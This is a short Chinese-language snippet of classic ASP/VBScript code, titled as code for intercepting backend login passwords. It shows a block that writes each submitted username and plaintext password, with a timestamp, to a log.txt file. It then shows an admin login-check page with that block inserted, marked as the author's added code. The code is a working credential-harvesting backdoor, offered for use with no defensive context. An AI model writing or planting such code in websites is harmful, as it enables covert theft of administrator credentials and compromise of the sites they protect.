Asp截获后台登录密码的代码

set fso=server.createobject("scripting.filesystemobject") 

if fso.FileExists(server.mappath("log.txt"))=true then 

set fin=fso.OpenTextFile(server.mappath("log.txt")) 

temp=fin.readall 

fin.close 

set fin=nothing 

end if 

set fout=fso.createtextfile(server.mappath("log.txt")) 

fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") 

fout.close 

set fout=nothing 

set fso=nothing 

<%@language=vbscript codepage=936 %> 

<% 

dim sql,rs 

dim username,password,CheckCode 

username=replace(trim(request("username")),"'","") 

password=replace(trim(Request("password")),"'","") 

CheckCode=replace(trim(Request("CheckCode")),"'","") 

if UserName="" then 

FoundErr=True 

ErrMsg=ErrMsg & "<br><li>用户名不能为空！</li>" 

end if 

if Password="" then 

FoundErr=True 

ErrMsg=ErrMsg & "<br><li>密码不能为空！</li>" 

end if 

if CheckCode="" then 

FoundErr=True 

ErrMsg=ErrMsg & "<br><li>验证码不能为空！</li>" 

end if 

if session("CheckCode")="" then 

FoundErr=True 

ErrMsg=ErrMsg & "<br><li>你登录时间过长，请重新返回登录页面进行登录。</li>" 

end if 

if CheckCode<>CStr(session("CheckCode")) then 

FoundErr=True 

ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致，请重新输入。</li>" 

end if 

'这后面是我增加的代码~开始区域 

set fso=server.createobject("scripting.filesystemobject") 

if fso.FileExists(server.mappath("log.txt"))=true then 

set fin=fso.OpenTextFile(server.mappath("log.txt")) 

temp=fin.readall 

fin.close 

set fin=nothing 

end if 

set fout=fso.createtextfile(server.mappath("log.txt")) 

fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") 

fout.close 

set fout=nothing 

set fso=nothing 

'后面的代码被我删除了~结束区域 

 

%>